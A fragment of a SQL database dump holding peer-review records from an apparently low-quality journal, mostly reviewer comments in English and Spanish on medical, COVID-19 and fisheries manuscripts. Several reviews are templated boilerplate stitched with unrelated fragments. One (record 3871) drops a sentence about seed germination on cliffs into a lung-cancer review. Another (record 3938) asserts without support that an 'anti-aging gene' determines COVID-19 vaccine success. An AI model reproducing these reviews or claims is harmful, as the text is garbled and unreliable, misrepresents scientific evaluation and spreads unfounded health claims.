the contribution of each one to the work.\r\n-Discussion:\r\nIt should be understood as the presentation of an infrequent or \"rare\" case. I think the authors should mention something more about how this case can help to understand a more important topic, or to remember certain messages or to motivate the search for more information. This \"anecdotal\" post should be portrayed as an important teaching tool. The objective of the publication of clinical cases is basically educational; Authors must take into account the message they want to communicate and whether this knowledge will be of use to readers. Perhaps it can represent a description of a sentinel event; an epidemiological risk factor; a warning to alert in similar situations; a suggestion of explanatory hypothesis; etc.\r\n-References:\r\nThe references are written in different styles and with errors (for example, in some the magazine is missing). I advise that they be revised and written using the Vancouver style.','2021-05-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3869,7021,8494,NULL,'4','R','Y','y','Y','The details in continuous research on nutraceuticals may be added in conclusion.','','2021-06-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3871,17215,8531,NULL,'5','G','Y','Y','Y','It is with great pleasure that I review the manuscript entitled “Clinical Challenges to Current Molecularly Targeted Therapies in Cellular breakdown in the Lungs”. It is indeed an interesting outlook on Alternative signaling pathways as potential therapeutic targets for overcoming EGFR and c-Met inhibitor resistance in non-small cell lung cancer.\r\nThe abstract looks good describing about the whole research work in a brief form. The manuscript is clearly written in sequential manner. Figures are clear with illustrative legends. The subject in this article is worthy of investigation. The introduction provides sufficient background information for readers in the immediate field to understand the problem/hypotheses. The satisfactorily restoring esthetics, form, and function is to have Seed germination and seedling roots traits of four species living on Mediterranean coastal cliffs in such cases.\r\nIn main description, the medical history was non-contributory. Radiographic and clinical examinations were performed initially, and multiple mutations and bypass mechanisms can contribute to development of acquired resistance to MET inhibitors.\r\nI liked the concept of using the role of EGFR inhibition in the treatment of non-small cell lung cancer.\r\nThis is an interesting study and the paper is generally well written and structured. This paper is recommended for publication with no amendments. Congratulations on the excellent study.\r\n','','2021-06-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3872,17213,8532,NULL,'5','G','y','y','Y','It is with great pleasure that I review the manuscript entitled “Novel Strategy for Colorectal Liver Cancer- Hepatocyte Growth Factor Estimation Concept”. It is indeed an interesting outlook on a potential biomarker to assess helpful methodology Hepatocyte development factor.\r\nThe abstract looks good describing about the whole research work in a brief form. The manuscript is clearly written in sequential manner. The subject in this article is worthy of investigation. The introduction provides sufficient background information for readers in the immediate field to understand the problem/hypotheses. The satisfactorily restoring esthetics, form, and function is to have Surgical strategies for surgical indications for multiple and synchronous liver metastases from colorectal cancer.\r\nIn main description, the medical history was non-contributory. Radiographic and clinical examinations were performed initially, and rates and patterns of recurrence following curative intent surgery for colorectal liver metastasis: an international multi-institutional analysis of 1669 patients. \r\nI liked the concept of using perioperative chemotherapy with FOLFOX4 and surgery versus surgery alone for resectable liver metastases from colorectal cancer (EORTC Intergroup trial 40983): a randomised controlled trial.\r\nThis is an interesting study and the paper is generally well written and structured. This paper is recommended for publication with no amendments. Congratulations on the excellent study.\r\n','','2021-06-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3875,17682,8139,NULL,'5','g','y','y','y','\r\nRecomiendo este manuscrito para su publicación.\r\nSe proporcionó toda la información necesaria, incluidas tablas y figuras.','Recomiendo este manuscrito para su publicación.\r\nSe proporcionó toda la información necesaria, incluidas tablas y figuras.','2021-06-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3876,9900,8158,NULL,'5','G','y','y','y','Recomiendo este manuscrito para su publicación. Esta breve comunicación brinda una buena información sobre ASCITIS EN PACIENTES ONCOLÓGICOS','Recomiendo este manuscrito para su publicación. Esta breve comunicación brinda una buena información sobre ASCITIS EN PACIENTES ONCOLÓGICOS','2021-06-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3878,11689,8229,NULL,'5','g','y','y','y','Its an interesting cross-sectional retrospective study was conducted in ICU of JUMC. The aim of this study was to assess patterns of admission and outcome of surgical patients admitted the intensive care unit. Overall the manuscript is well written.','','2021-06-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3879,11689,8229,NULL,'5','g','y','y','y','Its an interesting cross-sectional retrospective study was conducted in ICU of JUMC. The aim of this study was to assess patterns of admission and outcome of surgical patients admitted the intensive care unit. Overall the manuscript is well written.','','2021-06-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3880,11689,6979,NULL,'6','g','y','y','y','Its an interesting short article. The aim of this paper is to understand the importance of jaggery. Author well explained the Jaggery Benefits for Skin and Health and the role of jaggery in covid pandemic. Well written.','','2021-06-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3882,11689,8156,NULL,'5','g','y','y','y','This is an interesting Community based cross-sectional study was conducted in Jimma town on 420 women who had given birth prior to May 1 to June 30, 2019(study period). The aim of this study was to determine postnatal service utilization and associated factors among women, who gave birth in the last 12 months. This study revealed that counseling mothers to follow PNC is strong predictor of PNC utilization and showed utilization of postnatal care service was very far behind national target. Overall well written and accepted for publication','','2021-06-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3883,11689,8282,NULL,'5','g','y','y','y','Its an interesting article about COVID. The aim of this study is to propose a model for scientific societies to improve their impacts during health crises such as COVID-19. I accept this article after minor revision. As there is no references cited in this article and also there is no discussion/conclusion part. Author should rewrite the article. ','','2021-06-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3896,11689,7445,NULL,'6','g','y','y','y','This study bring together the pieces of the puzzle to understand the origin, epidemiology, pathogenesis, prevention and treatment strategies of this novel disease COVID-19. Author well written based on the limited scientific data. This study will useful for researchers and readers.','','2021-06-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3897,11689,7445,NULL,'6','g','y','y','y','This study bring together the pieces of the puzzle to understand the origin, epidemiology, pathogenesis, prevention and treatment strategies of this novel disease COVID-19. Author well written based on the limited scientific data. This study will useful for researchers and readers.','','2021-06-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3898,11689,7445,NULL,'6','g','y','y','y','This study bring together the pieces of the puzzle to understand the origin, epidemiology, pathogenesis, prevention and treatment strategies of this novel disease COVID-19. Author well written based on the limited scientific data. This study will useful for researchers and readers.','','2021-06-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3899,15588,8588,NULL,'5','g','Y','y','n','There is need for studying the effect of oxidative stress caused by Covid  -19 infection on all body functions and reproduction .','There is need for studying the effect of oxidative stress caused by Covid  -19 infection on all body functions and reproduction .','2021-06-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3901,12875,8797,NULL,'4','G','Y','Y','Y','While authors claim a faster achievement of independence in performing laparoscopic inguinal hernia repairs by residents at an early stage of residency. One of the key initial steps is a selection of cases for laparoscopic surgeries. I understand from Indian experience that Laparoscopic surgeries have a clear advantage for bilateral hernias. It would have been valuing addition, to understand if the residents were able to make this decision. One another basic information required to be explicitly mentioned is about the skill of using laparoscopes for any other surgeries before venturing hernia. As the junior group tried almost double the number of surgeries compared to the other 2 groups, the benchmark should be to describe the comfort of handling equipment among the residents.','A good skill development methodology tried and reported, worth publication','2021-06-05',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3902,5743,8594,NULL,'4','R','Y','Y','Y','GENERAL COMMENTS:\r\n\r\nThe authors have addressed all the major issues associated with inequities in healthcare, faced by the Afro-Brazilian population in Brazil. The flowchart (Figure 1) clearly indicates that the data collection and analysis for this systematic review were carried out rigorously. Moreover, the data spanned over a period of 10 years (2007-2017), which is quite extensive and has, therefore, yielded meaningful results.\r\n\r\nSPECIFIC COMMENTS:\r\n\r\n[1] It has been noted that the \"American Style\" of English has been followed in the manuscript. The authors should follow the style recommended by the journal throughout the manuscript i.e. \"American\" or \"British\" style of spellings.\r\n\r\n[2] As per the journal guidelines, the \"Abstract\" should be divided into the following 4 sections - (1) Background, (2) Methods, (3) Findings, and (4) Conclusions. Please reformat the \"Abstract\" accordingly.\r\n\r\n[3] The journal essentially follows the \"Vancouver Style\" of referencing, but this has not been followed uniformly e.g. Ref. 4, 5, and 6, as well as many others. Please reformat accordingly.\r\n\r\n[4] The \"Limitations of the Study\" are absent and should be incorporated.\r\n\r\n[5] The \"Final Considerations\" should be rephrased as \"Conclusions\".\r\n\r\n[6] A discrepancy was noted between the text (\"Results\" section) and Table 1. In the \"Results\" section, it is stated that 19 articles were included in the analysis, whereas 21 articles have been cited in Table 1 (10 + 11 in the two sections, respectively). This needs to be clarified and rectified if required.','The paper is an important one, as it highlights a major humanitarian problem that is prevalent among the Afro-Brazilian population in Brazil. The data that has been submitted is scientifically valid. As highlighted in the \"Comments to the Author\", there are some minor issues, which can be rectified by the authors without much effort. \r\n\r\nTherefore, based on an overall evaluation, the paper is recommended for publication with minor modifications.','2021-06-05',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3903,18101,8588,NULL,'1','D','N','N','N','This review is significantly out of date, including only articles published up to March 2020. A significant amount of important and highly relevant research has been published since this time which are not included. There is little relevance of this review paper at this time. This review paper needs to be updated in order to be of any relevance.','','2021-06-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3910,11689,7735,NULL,'5','g','y','y','y','The aim of thisfacility based cross-sectional study was to assess the satisfaction of CBHI client on the public health service they acquire and was conducted from March and April, 2019 in Arsi Nagele Woreda health centers. This study showed higher clients’ satisfaction level in Arsi Negele district health facilities when compared to similar studies in the country.\r\nOverall well written with limited data.','','2021-06-07',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3911,11689,7735,NULL,'5','g','y','y','y','The aim of thisfacility based cross-sectional study was to assess the satisfaction of CBHI client on the public health service they acquire and was conducted from March and April, 2019 in Arsi Nagele Woreda health centers. This study showed higher clients’ satisfaction level in Arsi Negele district health facilities when compared to similar studies in the country.\r\nOverall well written with limited data.','','2021-06-07',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3912,11689,7735,NULL,'5','g','y','y','y','The aim of this facility based cross-sectional study was to assess the satisfaction of CBHI client on the public health service they acquire and was conducted from March and April, 2019 in Arsi Nagele Woreda health centers. This study showed higher clients’ satisfaction level in Arsi Negele district health facilities when compared to similar studies in the country.\r\nOverall well written with limited data.','','2021-06-07',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3914,18101,8491,NULL,'2','R','N','M','Y','In this study by Angushev et al, the authors report on the prognostic significance of a variety of findings related to RV strain in pulmonary embolism patients at a single center. The main finding was that the more ECG patterns present, the worse the outcome. \r\nThis study fails to take into account the fact that many of the ECG findings presented are similar manifestations of the same phenomenon seen in different leads. For example RV injury presents with a combination of ST elevation in lead V1 as well as an ST elevation vector in the limb leads that points towards the right (generally this is elevation in lead III, with less ST segment elevation or ST depression in lead II, and ST depression in lead I). This one finding is counted 3 separate times in the multivariable model.\r\nSimilarly, there are findings of Q wave in lead III which is counted in 3 different ways.\r\nCreating multivariable models which include multiple collinear variables is not advised (eg. Both examples above, as well as use of a variable “number of ECG RV strain patterns” along with all the other RV strain ECG patterns). This leads to unstable model results.\r\nIt is difficult to interpret the findings of this paper as a result of these issues.\r\n\r\nOther specific issues:\r\n-	Please clarify how patients were classified into low, intermediate, high risk groups\r\n-	Figure 1: I am unclear how these Kaplan meier curves were created. The low risk curve is exceedingly short. Normal KM curves also have a flat line towards the end….these graphs end with a vertical line. Also, it may be better to show survival as 1- event rate. \r\n-	Figure 3: see comments for figure 1\r\n-	What is the cutoff for “troponin elevated”\r\n-	What does it mean by “peripheral low voltage”\r\n-	It is not necessary to include echo RV strain in a model along with ECG parameters. These are evaluating for the same physiologic phenomenon using different modalities. Similarly, the addition of elevated troponin is also of questionable utility since this is another method of assessing the severity of RV strain. Only variables that may confound the outcome (such as age and gender) need to be included in this model. The goal of this multivariable model is to determine which ECG findings independently predict adverse outcomes; the goal is not to create an accurate adverse outcome prediction model.  \r\n-	How many leads are required for there to be TWI for it to qualify for inferior leads TWI or precordial TWI\r\n','','2021-06-07',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3916,11689,7450,NULL,'6','g','y','y','y','This report describes about this Peutz - Jeghers syndrome is a rare autosomal dominant disorder characterized by intestinal hamartomatous polyps, mucocutaneous melanotic pigmentation and predisposition to malignancies. People with Peutz-Jeghers syndrome have a high risk of developing cancer during their lifetimes. Cancers of the gastrointestinal tract, pancreas, cervix, ovary, and breast are among the most commonly reported tumors.\r\nOverall well written','','2021-06-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3917,18206,8521,NULL,'5','g','y','y','y','Decision: Minor revision \r\n	\r\n\r\nDear authors\r\n The manuscript entitled “Identification and Elucidation of Bioactives in Datura stramonium leaves: an insight into drugs discovery” was well constructed and deals with GC/MS study. Even though, some corrections must be carried out as it is mandatory. \r\n\r\n1.	Entire manuscript must be checked with English grammar and sentence formation.   \r\n2.	More literature about needs to add Datura stramonium in introduction.\r\n3.	Rewrite the conclusion part.\r\n4.	Authors should include this reference “Investigation of the newly characterized baimantuoluoamide a and baimantuoluoamide b alkaloids as potential cyclin-dependent kinase 4 (CDK4) inhibitors using molecular docking and molecular dynamics simulations”. Gurushankar, K., Rimac, H., Potemkin, V., Grishina, M. Journal of Molecular Structure, 2021, 1230, 129925\r\n5.	Graphical abstract is missing\r\n6.	Leaves figure and instrumentation figure is missing include in the manuscript\r\n7.	Check SI units properly. For an example “40.8 ml min?1; Column flow: 1.80 ml min?1; Linear velocity: 49.2 cm sec?1; Trap and purge flow: 3.0 ml min?1. In this sentence min-1 not proper.\r\n8.	Reference should be check in this journal format. \r\n\r\nDear editor\r\nThe present manuscript was well prepared and meets the quality to publish in this reputed journal. Before that my comments need to carry out in manuscript. \r\n','Decision: Minor revision \r\n	\r\n\r\nDear authors\r\n The manuscript entitled “Identification and Elucidation of Bioactives in Datura stramonium leaves: an insight into drugs discovery” was well constructed and deals with GC/MS study. Even though, some corrections must be carried out as it is mandatory. \r\n\r\n1.	Entire manuscript must be checked with English grammar and sentence formation.   \r\n2.	More literature about needs to add Datura stramonium in introduction.\r\n3.	Rewrite the conclusion part.\r\n4.	Authors should include this reference “Investigation of the newly characterized baimantuoluoamide a and baimantuoluoamide b alkaloids as potential cyclin-dependent kinase 4 (CDK4) inhibitors using molecular docking and molecular dynamics simulations”. Gurushankar, K., Rimac, H., Potemkin, V., Grishina, M. Journal of Molecular Structure, 2021, 1230, 129925\r\n5.	Graphical abstract is missing\r\n6.	Leaves figure and instrumentation figure is missing include in the manuscript\r\n7.	Check SI units properly. For an example “40.8 ml min?1; Column flow: 1.80 ml min?1; Linear velocity: 49.2 cm sec?1; Trap and purge flow: 3.0 ml min?1. In this sentence min-1 not proper.\r\n8.	Reference should be check in this journal format. \r\n\r\nDear editor\r\nThe present manuscript was well prepared and meets the quality to publish in this reputed journal. Before that my comments need to carry out in manuscript. \r\n','2021-06-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3918,11689,8115,NULL,'5','g','y','y','y','Its an interesting about Body Dysmorphic Syndrome. I accepted for publication ','','2021-06-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3919,11689,8704,NULL,'5','g','y','y','y','Good Article','','2021-06-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3922,12022,8837,NULL,'3','D','N','M','N','SÍNDROME CORONARIO AGUDO SECUNDARIO A ENFERMEDAD DEL TRONCO CORONARIO IZQUIERDO\r\n\r\nHe leído este manuscrito y desde luego felicito a los autores por su esfuerzo.\r\nYo creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\n\r\n-Autores:\r\n¿La complejidad del trabajo justifica la cantidad de personas que teóricamente lo han hecho y firmado? Un documento debe estar firmado por cualquier persona que haya hecho una \"contribución sustancial\". En mi opinión, conviene aclarar el aporte de cada uno al trabajo.\r\n-Método:\r\nAconsejo que los autores clarifiquen mejor los criterios de inclusión y exclusión\r\n-Método/Conclusiones:\r\nEn mi opinión, los autores deben dejar claras sus limitaciones a la hora de valorar las conclusiones.\r\nEl método tradicional de revisión de la literatura ha sido la revisión narrativa, pero tiene dos debilidades básicas. Primero, no existe una regla sobre cómo obtener datos primarios y cómo integrar los resultados; ese es el criterio subjetivo del revisor. En segundo lugar, el revisor narrativo no sintetiza cuantitativamente los datos encontrados en las diferentes publicaciones; por lo tanto, estas revisiones son muy susceptibles a inexactitudes y sesgos.\r\n-Referencias:\r\nAconsejo que se revisen y se escriban utilizando el estilo de Vancouver.\r\n-Palabras clave:\r\nPara las palabras clave, se deben utilizar términos equivalentes a los de la lista Medical Subjects Headings (MeSH) del Index Medicus (disponible en https://meshb.nlm.nih.gov/search). La equivalencia entre los términos en español (Descriptores en Ciencias de la Salud, DeCS) y el correspondiente en inglés del MeSH se puede consultar en http://decs.bvs.br/E/homepagee.htm\r\n\r\nACUTE CORONARY SYNDROME SECONDARY TO LEFT CORONARY TRUNK DISEASE\r\nI have read this manuscript and I certainly congratulate the authors for their efforts.\r\nI think it could be acceptable if various aspects are modified and clarified.\r\n\r\n-Authors:\r\nDoes the complexity of the work justify the number of people who have theoretically done it and signed it? A document must be signed by anyone who has made a \"substantial contribution.\" In my opinion, it is convenient to clarify the contribution of each one to the work.\r\n-Method:\r\nI advise that the authors better clarify the inclusion and exclusion criteria\r\n-Method / Conclusions:\r\nIn my opinion, the authors should make their limitations clear when assessing the conclusions.\r\nThe traditional method of reviewing the literature has been the narrative review, but it has two basic weaknesses. First, there is no rule on how to obtain primary data and how to integrate the results; that is the subjective criterion of the reviewer. Second, the narrative reviewer does not quantitatively synthesize the data found in the different publications; therefore, these reviews are highly susceptible to inaccuracies and biases.\r\n-References:\r\nI advise that they be revised and written using the Vancouver style.\r\n-Keywords:\r\nFor keywords, use terms equivalent to those from the Medical Subjects Headings (MeSH) list of the Index Medicus (available at https://meshb.nlm.nih.gov/search). The equivalence between the terms in Spanish (Descriptores en Ciencias de la Salud, DeCS) and the corresponding one in English of the MeSH can be consulted at http://decs.bvs.br/E/homepagee.htm','SÍNDROME CORONARIO AGUDO SECUNDARIO A ENFERMEDAD DEL TRONCO CORONARIO IZQUIERDO\r\n\r\nHe leído este manuscrito y desde luego felicito a los autores por su esfuerzo.\r\nYo creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\n\r\n-Autores:\r\n¿La complejidad del trabajo justifica la cantidad de personas que teóricamente lo han hecho y firmado? Un documento debe estar firmado por cualquier persona que haya hecho una \"contribución sustancial\". En mi opinión, conviene aclarar el aporte de cada uno al trabajo.\r\n-Método:\r\nAconsejo que los autores clarifiquen mejor los criterios de inclusión y exclusión\r\n-Método/Conclusiones:\r\nEn mi opinión, los autores deben dejar claras sus limitaciones a la hora de valorar las conclusiones.\r\nEl método tradicional de revisión de la literatura ha sido la revisión narrativa, pero tiene dos debilidades básicas. Primero, no existe una regla sobre cómo obtener datos primarios y cómo integrar los resultados; ese es el criterio subjetivo del revisor. En segundo lugar, el revisor narrativo no sintetiza cuantitativamente los datos encontrados en las diferentes publicaciones; por lo tanto, estas revisiones son muy susceptibles a inexactitudes y sesgos.\r\n-Referencias:\r\nAconsejo que se revisen y se escriban utilizando el estilo de Vancouver.\r\n-Palabras clave:\r\nPara las palabras clave, se deben utilizar términos equivalentes a los de la lista Medical Subjects Headings (MeSH) del Index Medicus (disponible en https://meshb.nlm.nih.gov/search). La equivalencia entre los términos en español (Descriptores en Ciencias de la Salud, DeCS) y el correspondiente en inglés del MeSH se puede consultar en http://decs.bvs.br/E/homepagee.htm\r\n\r\nACUTE CORONARY SYNDROME SECONDARY TO LEFT CORONARY TRUNK DISEASE\r\nI have read this manuscript and I certainly congratulate the authors for their efforts.\r\nI think it could be acceptable if various aspects are modified and clarified.\r\n\r\n-Authors:\r\nDoes the complexity of the work justify the number of people who have theoretically done it and signed it? A document must be signed by anyone who has made a \"substantial contribution.\" In my opinion, it is convenient to clarify the contribution of each one to the work.\r\n-Method:\r\nI advise that the authors better clarify the inclusion and exclusion criteria\r\n-Method / Conclusions:\r\nIn my opinion, the authors should make their limitations clear when assessing the conclusions.\r\nThe traditional method of reviewing the literature has been the narrative review, but it has two basic weaknesses. First, there is no rule on how to obtain primary data and how to integrate the results; that is the subjective criterion of the reviewer. Second, the narrative reviewer does not quantitatively synthesize the data found in the different publications; therefore, these reviews are highly susceptible to inaccuracies and biases.\r\n-References:\r\nI advise that they be revised and written using the Vancouver style.\r\n-Keywords:\r\nFor keywords, use terms equivalent to those from the Medical Subjects Headings (MeSH) list of the Index Medicus (available at https://meshb.nlm.nih.gov/search). The equivalence between the terms in Spanish (Descriptores en Ciencias de la Salud, DeCS) and the corresponding one in English of the MeSH can be consulted at http://decs.bvs.br/E/homepagee.htm','2021-06-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3925,17489,8753,NULL,'5','g','n','y','y','I reviewed the article entitled \"Editorial note on Common carp\", please find my comments.\r\nI do agree that The carp was a luxury food in the middle and late Roman period, and it was consumed during fasting in the middle Ages.\r\n1.    Article is attractive, title is suitable for the article\r\n2.    The manuscript provides sufficient background information for readers\r\n3.    The text is well arranged \r\n4.    There are no grammatical errors in this article\r\n5.    Pictorial representation added more value to this article \r\n6.     It can be accepted for publication without any changes, this study will definitely support the further studies.','The manuscript is good and acceptable for publication','2021-06-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3926,4516,8738,NULL,'5','g','n','y','y','I reviewed the article entitled \"EDOTORIAL NOTE ON COLD WATER FISHERIES\", please find my comments.\r\nI do agree that The present exploitation of fishery resources in upland regions comes mainly from capture fisheries, though fish production through culture practices is gaining momentum. \r\n1.    Article is attractive, title is suitable for the article\r\n2.    The manuscript provides sufficient background information for readers\r\n3.    The text is well arranged \r\n4.    There are no grammatical errors in this article\r\n5.    Pictorial representation added more value to this article \r\n6.    It can be accepted for publication without any changes, this study will definitely support the further studies.',' the manuscript is good and acceptable for publication','2021-06-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3927,4512,8696,NULL,'5','g','n','y','y','I reviewed the article entitled \"Editorial note on fisheries\", please find my comments.\r\nI do agree that. Its is an open access and companion evaluated diary by prominent Editorial Board and the compositions are peer-surveyed by possible analysts as indicated by their exploration interest.\r\n1.    Article is attractive, title is suitable for the article\r\n2.    The manuscript provides sufficient background information for readers\r\n3.    The text is well arranged \r\n4.    There are no grammatical errors in this article\r\n5.    Pictorial representation added more value to this article \r\n6.    It can be accepted for publication without any changes, this study will definitely support the further studies.','the manuscript is good','2021-06-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3928,17489,8625,NULL,'5','g','n','y','y','I reviewed the article entitled \"Subjective of fisheries\", please find my comments.\r\nI do agree that The longfin smelt (Spirinchus thaleichthys) population in the San Francisco Estuary has declined to less than 1% of historic numbers.\r\n1.    Article is attractive, title is suitable for the article\r\n2.    The manuscript provides sufficient background information for readers\r\n3.    The text is well arranged \r\n4.    There are no grammatical errors in this article\r\n5.    Pictorial representation added more value to this article \r\n6.    It can be accepted for publication without any changes, this study will definitely support the further studies.\r\n ','the manuscript is good and acceptable for the article','2021-06-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3936,15586,8848,NULL,'4','G','Y','Y','Y','The abstract is too long.\r\nPlease add legends to the tables. Figures.\r\n\r\n','Imade some suggestions on the text.','2021-06-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3937,11589,8043,NULL,'4','G','Y','Y','Y','The article entitled \"Intraoperative Computer Tomography-guided Percutaneous Celiac Plexus Neurolysis for Pain Relief in Abdominal Malignancy\" is a research article which explain the effectiveness and precision of Intraoperative Computer Tomography-guided Percutaneous Celiac Plexus Neurolysis. And found that the patients may benefit from the procedure of iCT-PCPN by its precision, effective pain relief, and less complications arise from high dose of opioids. Patients with peritoneal carcinomatosis could have better quality of life during hospice care.\r\n\r\nHowever some minor changes required: grammatical error, sentence formation, reference format.','The article entitled \"Intraoperative Computer Tomography-guided Percutaneous Celiac Plexus Neurolysis for Pain Relief in Abdominal Malignancy\" is a research article which explain the effectiveness and precision of Intraoperative Computer Tomography-guided Percutaneous Celiac Plexus Neurolysis. And found that the patients may benefit from the procedure of iCT-PCPN by its precision, effective pain relief, and less complications arise from high dose of opioids. Patients with peritoneal carcinomatosis could have better quality of life during hospice care.\r\n\r\nHowever some minor changes required: grammatical error, sentence formation, reference format.','2021-06-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3938,10963,8836,NULL,'3','G','Y','Y','N','The authors assess the knowledge toward COVID-19 and determine the level of willingness and associated factors of healthcare workers in Gombe to accept COVID-19 vaccine. The authors findings will help organize the necessary educational programs to provide information and deliver the best practice to control the COVID-19 disease and to raise vaccine confidence among the population and healthcare workers. The authors found that two-thirds of the healthcare workers were willing to accept COVID-19 vaccine and is similar to a global survey with relevance to the willingness of the participants to get vaccinated. The authors found that doctors are more willing to accept COVID-19 vaccine compared to other healthcare workers. \r\nThe authors conclude that professional cadre, years of experience and the type of health facilities remain significant predicators of willingness to accept COVID-19 vaccine among the healthcare workers in Nigeria.\r\nComments:\r\n1.	The tables are not cited in the text.\r\n2.	The willingness of one third of the health care workers not to accept the COVID-19 vaccine is relevant to various developing world communities. The anti-aging gene that is critical to the success of the COVID-19 vaccine may be inactivated in the developing world. The educational programs to control the COVID-19 vaccine may require the activation of the anti-aging gene that is critical to the success of the COVID-19 vaccine.\r\nRELEVANT REFERENCE:\r\nCOVID-19 Infection and Anti-Aging Gene Inactivation. Acta Scientific Nutritional Health 4.5 (2020): 01-02.\r\n','','2021-06-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3941,18276,8873,NULL,'6','6','6','6','6','The title is accurate or relevant	\r\n\r\nThe aims of the study are clearly stated	\r\n\r\nThe study is original	\r\n\r\nThe study is useful and relevant to the aims of the Journal\r\n\r\nThe design of the study is appropriate		\r\n\r\nThe data are less than 5 years old	\r\n\r\nThe study was approved by a research ethics committee prior to data collection		\r\n\r\nThe results are clearly presented and explained	\r\n\r\nNo further qualitative or quantitative analysis is required\r\n\r\nThe authors reflect on the strengths and limitations of the study	\r\n\r\nThe results are compared to related findings in the literature	\r\n\r\nThe results are discussed in relation to the relevant research, practice or policy issues	\r\n\r\nThe discussion and conclusions do not speculate beyond what has been shown in this study\r\n\r\nThe article has a logical construction in a suitable format	\r\n\r\nThe article has an appropriate length (not unnecessarily long or too short to be useful)	\r\n\r\nThe writing is in a good standard of English, grammatically correct and easy to understand	\r\n\r\nThe abstract is in an unstructured format and is sufficiently informative	\r\n\r\nAny tables and figures are all necessary, clearly annotated and easy to follow	\r\n','The title is accurate or relevant	\r\n\r\nThe aims of the study are clearly stated	\r\n\r\nThe study is original	\r\n\r\nThe study is useful and relevant to the aims of the Journal\r\n\r\nThe design of the study is appropriate		\r\n\r\nThe data are less than 5 years old	\r\n\r\nThe study was approved by a research ethics committee prior to data collection		\r\n\r\nThe results are clearly presented and explained	\r\n\r\nNo further qualitative or quantitative analysis is required\r\n\r\nThe authors reflect on the strengths and limitations of the study	\r\n\r\nThe results are compared to related findings in the literature	\r\n\r\nThe results are discussed in relation to the relevant research, practice or policy issues	\r\n\r\nThe discussion and conclusions do not speculate beyond what has been shown in this study\r\n\r\nThe article has a logical construction in a suitable format	\r\n\r\nThe article has an appropriate length (not unnecessarily long or too short to be useful)	\r\n\r\nThe writing is in a good standard of English, grammatically correct and easy to understand	\r\n\r\nThe abstract is in an unstructured format and is sufficiently informative	\r\n\r\nAny tables and figures are all necessary, clearly annotated and easy to follow	','2021-06-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3942,18293,8873,NULL,'6','6','6','6','6','	\r\n\r\nThe study is original	\r\n\r\nThe design of the study is appropriate		\r\n\r\nThe results are compared to related findings in the literature	\r\n\r\nThe writing is in a good standard of English, grammatically correct and easy to understand	